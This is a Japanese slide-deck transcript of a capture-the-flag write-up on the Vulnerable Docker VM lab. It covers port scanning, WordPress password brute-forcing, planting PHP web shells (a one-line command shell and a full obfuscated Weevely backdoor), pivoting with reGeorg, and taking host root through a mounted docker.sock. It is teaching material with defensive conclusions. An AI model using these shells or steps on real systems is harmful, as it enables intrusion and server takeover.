Upgrade to PRO for Only $50/Year—Limited-Time Offer! 🔥
Speaker Deck
Features
Speaker Deck
PRO
Sign in
Sign up for free
Search
Search
VulnerableDockerVM Writeup
Search
narupi
September 27, 2019
Technology
0
200
VulnerableDockerVM Writeup
WHESON_LTで使用した資料
narupi
September 27, 2019
Tweet
Share
More Decks by narupi
See All by narupi
Dockerコンテナからホストのrootを取る話
narupi
9
2.6k
Other Decks in Technology
See All in Technology
学習データって増やせばいいんですか?
ftakahashi
2
340
Database イノベーショントークを振り返る/reinvent-2025-database-innovation-talk-recap
emiki
0
190
「Managed Instances」と「durable functions」で広がるAWS Lambdaのユースケース
lamaglama39
0
320
[JAWS-UG 横浜支部 #91]DevOps Agent vs CloudWatch Investigations -比較と実践-
sh_fk2
2
260
EM歴1年10ヶ月のぼくがぶち当たった苦悩とこれからへ向けて
maaaato
0
280
グレートファイアウォールを自宅に建てよう
ctes091x
0
150
AI 駆動開発勉強会 フロントエンド支部 #1 w/あずもば
1ftseabass
PRO
0
370
SREには開発組織全体で向き合う
koh_naga
0
320
新 Security HubがついにGA!仕組みや料金を深堀り #AWSreInvent #regrowth / AWS Security Hub Advanced GA
masahirokawahara
1
2.1k
Kubernetes Multi-tenancy: Principles and Practices for Large Scale Internal Platforms
hhiroshell
0
120
[CMU-DB-2025FALL] Apache Fluss - A Streaming Storage for Real-Time Lakehouse
jark
0
120
WordPress は終わったのか ~今のWordPress の制作手法ってなにがあんねん?~ / Is WordPress Over? How We Build with WordPress Today
tbshiki
1
780
Featured
See All Featured
Docker and Python
trallard
47
3.7k
Visualizing Your Data: Incorporating Mongo into Loggly Infrastructure
mongodb
48
9.8k
Design and Strategy: How to Deal with People Who Don’t "Get" Design
morganepeng
132
19k
"I'm Feeling Lucky" - Building Great Search Experiences for Today's Users (#IAC19)
danielanewman
231
22k
CoffeeScript is Beautiful & I Never Want to Write Plain JavaScript Again
sstephenson
162
16k
Become a Pro
speakerdeck
PRO
31
5.7k
ピンチをチャンスに:未来をつくるプロダクトロードマップ #pmconf2020
aki_iinuma
128
54k
How to Think Like a Performance Engineer
csswizardry
28
2.4k
Refactoring Trust on Your Teams (GOTO; Chicago 2020)
rmw
35
3.3k
Understanding Cognitive Biases in Performance Measurement
bluesmoon
32
2.7k
10 Git Anti Patterns You Should be Aware of
lemiorhan
PRO
659
61k
Improving Core Web Vitals using Speculation Rules API
sergeychernyshev
21
1.3k
Transcript
Vulnerable Docker VMで学ぶ 脆弱なコンテナ 2019/09/27 narupi(@ei1528)
2 ※注意事項 • 得た知識/技術の悪用厳禁 • 検証は自己責任 • 管理下以外のサーバ/アプリケーションに対して攻撃を行わない • 初心者なので内容に間違いがある場合がある
3 目的 • 攻撃側を知ることで防御力を高める術を知る • セキュリティにおいて攻撃側が如何に有利かを知る • セキュリティに興味関心を持つ
4 動機 • 最近Dockerにムカついたので破壊したくなった
5 Vulnerable Docker VMについて • NotSoSecureが提供しているVM • ( https://www.notsosecure.com/vulnerable-docker-vm/ )
• CTF形式
6 環境構築 • VM(被害者端末)のネットワーク設定がデフォルトでブリッジなので念の 為ホストオンリーネットワークに変更する • Kali(攻撃者端末)もVMと同じホストオンリーネットワークに指定する 今回のIP Kali :
192.168.56.100 Docker : 192.168.56.102
7 起動
8 対象調査 • ポートスキャン(nmap)を実施して対象の環境を把握する • (-sV:各ポートを利用しているサービスのバージョンを検出 • -A :OSとバージョンを検出)
9 対象調査 • 8000番ポートでApache2.4.10が動いている • (詳細よりWordPress4.8.1が動いていてwp-adminが見える状態なのがわ かる)
10 入り口を探す • サービス自体の脆弱性を突く • (OpenSSH 6.6p1の脆弱性, Apache 2.4.10の脆弱性, WordPress4.8.1の
脆弱性 etc…) • サービスの設定不備を突く • (脆弱なアカウント, 脆弱なWordPressプラグイン, XSSの可能性,RCEの 可能性 etc...)
11 サービスの脆弱性を調査 • Vulnerable Docker VMが配布されたのが2017年なので、当時の最新バ ージョンが動いていると考えられる(しっかりパッチを当てている環境だ とすると、0day exploit以外刺さらない) •
VMの意図と異なるのでこっちは利用しない
12 設定不備を調査 • 脆弱性スキャンツールを利用 • (OWASP ZAP, Burp Suite, Nikto,
WPScan) • 対象がWordPressなのでWPScanを試す
13 WPScanについて • Rubyで動作するWordPressの脆弱性スキャナ • WordPressにインストールされているテーマやプラグインの列挙 • (脆弱性のあるものだけを列挙したりできる) • ユーザ情報の列挙
• ユーザ名を指定してブルートフォース攻撃
14 WPScanの実施 • プラグイン/テーマの脆弱性については、VM公開時の状況がわからない ので切り捨てた(本来なら侵入経路に成り得る) • ユーザ情報を列挙してみる • wpscan --url
http://192.168.56.102:8000 --disable-tls-checks -- enumerate u
15 パスワードを総当りしてみる • ランダムな文字列を生成して総当りするのは時間がかかるので、辞書攻 撃を試す • (辞書はseclistsの100k-most-used-passwords-NCSC.txtを利用) • wpscan --url
http://192.168.56.102:8000/ -P 100k-most-used-passwords- NCSC.txt -U bob
16 パスワードを総当りしてみる 少し待つとパスワードが特定できる
17 WebShellを設置する方法 • WordPressのテーマを利用して設置 ->テーマページのphpを編集してWebShellを埋め込む(404.phpなど) • WordPressにプラグインとして設置 ->オフラインならプラグインのアップロード オンラインならプラグインのインストール
18 WebShellとは • Webを介して実行するShell • 最も簡単なものはGETリクエストでコマンドを送信する形 → <?php system($_GET["cmd"]);?> •
高機能なものもある(今回はWeevelyを利用した) → Weevely https://github.com/epinna/weevely3
19 Weevelyについて • 難読化したPHPWebShellを生成するためセキュリティソフトに検知さ れにくい • Telnetのような形式の接続を提供してくれる
20 Weevelyが生成したWebShell <?php$Y=str_replace('Mk','','MkcMkreMkate_fMkuncMkMktion');$x='$k="bjfdd87j fdc7";$jfkh="jf20jf10d2jfjf6e2bc2";$kf="a8961cjf0ca876";$pjfjf="Le2wfMlG2QyjffY gqjfV";f';$m='evjfal(@gzjfuncompressjf(@jfxjf(@jfbajfse64_decode($m[1]),$kjf))); $ojf=@ob_jfget_contejfnts()jf;@';$L='jfunctiojfjfn x($t,$k){$c=stjfrjflejfn($k);$l=strlenjf($tjf);$ojf="";for($ijf=0;$i<jf$l;jf){fojfjfr(';$i='$j=0 ;($j<$c&&$jfi<$ljf);$j++,$ijf++jf){$ojf.=$t{jf$i}^$k{$j};}}rjfeturn jf$o;}ijfjff(@jfpreg_mat';$n='ch(jf"/$kh(.+jf)$kjffjf/",@filjfe_gejft_contents(jf"jfphp://i nput"jf),jf$m)==1){@ojfb_start();@jf';$f='jfob_endjf_clean();$rjf=@basejf64_encjf
odejf(@x(@jfgzcompresjfs(jf$jfo),$k));print(jf"$pjf$kh$r$kf");}';$w=str_replace('jf',' ',$x.$L.$i.$n.$m.$f);$Q=$Y('',$w);$Q();?>
21 コンテナに侵入 • .dockerenvが存在するかでコンテナ内であるかチェックする
22 コンテナ内でできること • curlやwgetが使える場合 -> 任意のバイナリが実行できる(nmapなど) • コンテナ間通信が許可されている場合 -> 他のコンテナの発見と侵入
• サービスの破壊,データの取得
23 DBの確認(Adminer設置) • PHPMyAdminのようなdb管理ツール(https://www.adminer.org/) • シングルファイルで動作するのでWordPressのテーマを編集することで 設置可能 • db認証情報はwp-configから抜き取れる
24 Adminer
25 他のコンテナを探す • nmapバイナリをKali側のWeb鯖に置いて,VM側からcurlでダウンロード する • Ip rでroute情報を表示 • Nmapで同一ネットワークを調査する
-> 172.18.0.1~4が利用されている -> 8022に不明なサービス (8000はWordPress)
26 コンテナ内部ネットワークへアクセスする • 任意のPHPがアップロードできる状況にあるのでreGeorgを利用して SOCKSプロキシを構成する(https://github.com/sensepost/reGeorg) • ProxychainsでreGeorgプロキシの情報を設定する • FoxyProxyでreGeorgプロキシの情報を設定する
27 Docker-SSH • 8022ポートのサービスをcurlで調査するとDocker-SSHが動いているこ とがわかる(https://github.com/jeroenpeeters/docker-ssh) • FoxyProxyを介してブラウザからアクセスする
28 ホストへ侵入する方法を探す • Docker-SSHコンテナへはパスワードなしでsshできるらしいので Proxychainsを利用してshellから作業をする(webだとセッションが切れ て大変だった) • /run以下を見るとdocker.sockが見えている -> docker.sockはデーモンプロセスと通信するためのソケット
-> docker.sockは特権で実行される(実質的にroot)
29 Docker in Docker(DinD)について • DinD対応イメージを利用してコンテナを作る • デフォルトの権限ではDockerデーモンを起動できないのでprivilegedオ プションを利用する必要がある(すべてのデバイスへのアクセスが可能に なる)
• 暗黙的にData Volumeが利用されコンテナとホストのリソースを共有す る • ホストとコンテナが階層化されるのでお互いに見えない
30 Docker outside of Docker(DooD)について • ホストのDocker.sockをマウントすることでDockerデーモンを共有する • ホスト側のDockerをコンテナ側から実行する •
コンテナからホスト側が見える • DinDのようにゴミが溜まることはない
31 コンテナからホストのrootを取る • ホストのdocker.sockをマウントしている場合、dockerコマンドはホス ト側で実行したものと同じ結果が得られる →コンテナ上でホスト側のルートディレクトリをマウントしたコンテナ を立ち上げる(DooD) →適当な名前でルートディレクトリをマウントしてchrootでルートディ レクトリをマウントしたフォルダに変える →実質的なホストrootの奪取
32 HACKED
33 VMの脆弱な点をまとめると • WordPressのセキュリティ(コンテナへの侵入) ->wp-adminが見える, 脆弱なパスワードの運用 • Docker-SSHの運用方法(ホストへの侵入) ->docker.sockへの書き込み権限がある
34 まとめ • WordPressには気をつけよう • Dockerは運用方法に気をつければ攻撃者がホストに到達するのを難しくで きる • Docker imageはしっかり中身を理解して利用する
->Docker-SSHはdocker.sockをマウントする必要がある ->悪意のあるimageに気をつける(reverse shellが埋め込まれてたりする)
35 参考文献 • https://oioki.me/2017/09/vulnerable-docker-vm/ • https://darksh3ll.info/index.php/18-write-up-vulnerable-docker-vm-by-notsosecure- com • https://rimuru.lunanet.gr.jp/notes/post/how-to-root-from-inside-container/ •
https://www.lvh.io/posts/dont-expose-the-docker-socket-not-even-to-a-container.html • https://qiita.com/sugiyasu-qr/items/85a1bedb6458d4573407 • https://blog.nijohando.jp/post/docker-in-docker-docker-outside-of-docker/ • https://qiita.com/toto1310/items/64d7db407d31fd802f9c